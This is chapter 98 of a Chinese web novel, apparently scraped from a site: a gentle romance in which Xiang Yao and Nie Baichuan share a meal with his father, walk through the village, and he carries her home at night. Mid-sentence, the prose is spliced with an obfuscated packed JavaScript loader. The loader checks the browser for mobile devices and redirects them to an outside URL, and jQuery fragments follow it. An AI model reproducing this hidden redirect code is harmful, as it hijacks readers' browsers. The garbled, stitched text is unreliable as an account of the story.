98. 瓜瓜瓜瓜

    事实证明,这区区两斤肉,实在是没有太大必要留一部分到明天吃的。


    因为回锅肉甫一出锅端上桌,三人刚坐定,话都没来得及说一句正经的,老聂就激动地大喊了一声:“开动!”


    于是连带着向遥一起,都迅速进入了凶猛干饭的行列。


    油滋滋、亮汪汪的回锅肉肥瘦相间,间或有青白分明的大蒜叶夹杂其中,加上青红椒点缀,光是从色相上来看,就勾引得人口水直流。


    老聂张开大口,迫不及待地夹起一块儿往嘴里利落地一塞,瞬间眼睛就眯了起来。


    “唔——”他摇头晃脑,朝着向遥竖起大拇指,“色香味俱全,嘿哟喂!比城里国营饭店做的还好吃!”


    向遥抿着唇笑,被夸得心里乐开了花。


    她当然知道自己这厨艺顶多算是家常,哪里真的能跟饭店里的大厨比,不过老聂显然是属于有一种“自家人做的就是全世界最好的”的观念,夸起人来十足地不遗余力。


    “好吃爸爸就多吃点!”


    “得嘞,咱都别讲客气,放开了吃!”


    向遥自己也没有想到,全新的一家人在一起吃头一顿饭,氛围居然是这么的轻松开心。


    她不用在众多或直白或隐晦的白眼中夹菜,也不用为了自己吃得舒心一点而顿顿都一个人坐外边儿吃饭。


    不过是做了几个简单的菜,甚至连洗菜、烧火等工作都是聂百川做的,也轻易就收获了十分真诚的夸赞。


    这氛围,她喜欢!


    饭后,聂百川收了碗筷去洗碗,向遥则将吃饭的桌子收拾干净,两人配合默契,老聂摸着肚子,笑眯眯地直呼“我今儿也当上个幸福的老头子了!”


    向遥从小到大都没有接触过这一款的长辈,既觉得新奇,也觉得亲切。


    “幸福的老头子”,多么有趣而愉快的自称啊。


    她穿过来之前亲缘淡薄,除了爷爷奶奶,几乎没怎么接触过老聂这个年纪的男性长辈。


    一时之间,心里更与之亲近了几分,觉得有这样一个爸爸,那真的是很不错。


    老聂是个闲不住的,吃完饭消消食,跟向遥聊了两句家常,就背着手一步一晃悠地出门了。


    等聂百川擦干手从厨房出来,便见着向遥一个人站在院子里,仰着头不知道在观察什么。


    他走了过去,犹豫了一下,抬手轻轻搭在向遥薄薄的肩膀上。


    向遥顿了下,并没有避开,她扭过头,眼睛在昏暗的天色下亮亮的:“聂百川你看,月亮已经出来了!”


    聂百川凝视着她的眼睛,并没有顺着她的说法抬头去看月亮,但他点了点头:“嗯,月亮出来了。”


    向遥被他看得有些不自在,心跳也逐渐快了起来,她眨眨眼睛,睫毛朝上翘了翘,抖开聂百川落在自己肩上的手,改为挽住他的胳膊。


    “走,咱们出门散步去叭!”


    聂百川感受着自己臂弯里的柔软和温度,笑道:“嗯,走。”


    走到院子门口,聂百川又叫向遥等等,反身去了堂屋,再走出来,手里便拿着向遥的外套。


    刚刚吃饭的时候吃热了,向遥便随手将外套搭在了椅背,全然忘记这回事了,此时见聂百川将外套拿在手上,她有些眼热。


    聂百川走近,仿佛这是一件再寻常不过的事情,若无其事地说道:“晚上还是有些冷的,我先拿着,待会儿感觉冷了就穿上。”


    向遥轻轻点头,抬眸望着他:“聂百川,你真的很贴心哎!”


    聂百川笑了笑:“应该的,你是我妻子。”


    妻子。


    很书面化的称呼。


    向遥心里热热的,伸手重新挽住他的胳膊。


    两人并肩走出山坳,身后悬着一道白色烟桥,夹在两山之间,凝聚了青年男女心中火热的爱意。


    黄昏时刻,整个向家湾都笼罩在朦胧当中,有的人家还在吃饭,大人端着饭碗四处溜达,遇着邻居熟人就聚集在一起八卦。


    小孩子们则大多都迅速扒完饭,就着天黑前这一段时间,呼朋引伴地四处窜。


    有年纪过小的小孩儿跟在哥哥姐姐的身后被嫌弃,坐在地上叽哩哇啦地开始哭。


    不多时,那小孩儿的娘就跑了出来,拎起一只胳膊将人拉起来就开始打屁股。


    边打嘴里还边骂:“才给你洗的澡!就给我在泥巴里滚!你个化生子,还不给我回去!”


    向遥远远地瞅见,觉得有点好笑,眉眼弯弯的。


    聂百川视线在那小孩儿身上落了一瞬,偏头问道:“在笑什么?”


    向遥勾着嘴角,快活地说道:“昂,那小孩子很好玩呀!小泥猴儿似的。”


    幼崽都是一种可可爱爱的东西,无论是动物的,还是人类的。


    哪怕是满身泥巴脸蛋儿黢黑呢,那也有一种很自然的憨态想,好玩得很。


    不过……她睁大眼睛:“我大概只能接受别人家的小孩儿是小泥猴,要是我自家的,光是想想一天到晚的要给个小姑娘或者小男孩儿洗脏兮兮的衣服,我从现在就开始崩溃了。”


    聂百川闷闷地笑,胸膛微微颤动。


    向遥打他一下:“你笑什么呀,难道不是这样吗,轮到你的时候你就知道有多崩溃了。”


    聂百川认真地说道:“我们要真的有了小孩儿,脏衣服我来洗,或者咱们请人洗。”


    向遥的脸哗的一下就红了,好在天色已经昏暗下来,很好的遮掩住了她红彤彤的脸。


    “还请人洗呢,你这是资本主义作风,知道不?”她随口说道。


    聂百川:“没事,悄悄的,总有人不会跟钱过不去。”


    向遥哈哈笑了一下,点着他的胸膛:“那你可得多赚一点钱。”


    她只是随口说说,并不觉得连自己也不愿意洗脏兮兮的小孩儿衣服,就一定要聂百川去洗,己所不欲,勿施于人嘛。


    而有钱,这样的问题可以得到轻松解决。


    聂百川抓住她的手:“嗯。”


    向遥被他握着手,有点儿羞赧,转移目光看向田野,又道:“现在说这些还早着呢!”


    聂百川又笑。


    他一般不怎么大笑,笑起来总有一种矜持礼貌的意味,难免有一种疏离感。


    但在向遥面前,他笑起来的时候,便连眼眸中都浸满了笑意,那股疏离感也消失不见了。


    察觉到向遥的手微微凉,聂百川将一直带着的外套披到她肩膀上,示意:“伸手。”


    向遥乖乖将手伸进袖筒,眨巴着眼睛,看着聂百川为她穿好衣服,又细心地扣上扣子。


    两人顺


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15058521|152911||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    着大路到处走了走,没遇上什么抓马的事情,倒是被好几拨老太太老婶子们给团团围住,问东问西。


    到后来向遥实在是脸都笑僵了,支撑不住了,掐了掐笑得和煦又有问必答的聂百川,示意他走人。


    有人挽留:“就走啊,还聊聊呗,小姑娘小后生真般配咧!”


    有人打趣:“嗨呀,别个小年轻刚成亲,肯定是要回去亲热噻,你个老东西凑什么热闹!”


    向遥“嗯嗯嗯”胡乱回应了一通,拉着聂百川跑路。


    走远了都还能听见那堆人正高声议论呢,难免令人脸热。


    向遥有些后怕地说道:“这些人的战斗力真是太可怕了!我们就不该出来!”


    她现在只觉得,自己那瓜田系统,肯定是绑错人了,但凡绑一个腿脚利索的老太太呢,肯定早就吃了无数个瓜了。


    聂百川轻轻捏捏自己手心里温热的手,笑着应和:“嗯,我也没想到都这么厉害。”


    别看大队里年龄大的人都对他印象很好,但实际上很少有私交,他跟老聂到底成分不好,做再多的事情,表现再好,多数人该忌讳还是忌讳,并且打心底里没认为他们是本地人。


    但今天不一样,仿佛他跟向遥结婚了,在那些人眼里他就确实成了一个本地人,可以被接纳进集体,能大肆玩笑了。


    聂百川不是一个很喜欢热闹的人,但他觉得跟向遥肩并肩参与这种热闹的感觉,很不错。


    他没有松开向遥的手,牵着她在黑暗中往家的方向走去。


    天色逐渐由昏暗过度到浓黑。


    乡下到了晚间就是这样,许多人家为了省点灯油,早早就熄灯上床睡觉了,进了山坳之后,若不是天上还悬挂着一轮半圆的月亮,简直要伸手不见五指。


    饶是如此,视线中也只剩下了一条延伸出去的、能勉强看清楚的小路。


    “我看不清,聂百川。”


    向遥努力睁大眼睛看路,但还是看不大清,土路不平坦,坑坑洼洼的,让她有一种随时都要踢到石头或者是歪进小坑里的恐惧。


    应该带个手电筒出门的,她想。


    聂百川听了这话,停下脚步,松开了她的手站定。


    向遥正纳闷呢,她都说了看不清路了,这人不紧紧抓着她的手好好带路,咋还松了呢?


    就模模糊糊地见着聂百川扎了个马步,沉声说道:“我天天走这条路,很熟,来,我背你。”


    “啊,这不大好吧……”她小声。


    有点太偶像剧了……怪怪的。


    “上来,我背你,很安全。”聂百川扭头说道。


    见他这么说,向遥也不多想了,一把趴在聂百川宽阔的背上,紧接着就感觉到对方的手环住了自己的大腿,然后稳稳当当地站了起来。


    聂百川的每一步都走得很稳,没有颠簸,没有起伏,甚至连呼吸声都依旧平缓而规律。


    夜色如同一汪浓稠的墨浆,丝丝缕缕萦绕在四周,远处的山峦沉沉,看不见底色,却又带来莫名的威压。


    向遥将脑袋轻轻贴在对方的颈弯处,感受着脉搏的跳动,呼吸打在皮肤上,一簇一簇的,亲密又甜蜜。


    黑暗不再可怕,只因身下的人温热的躯体是如此稳重,脊背是如此坚实。


    温暖,踏实,安心。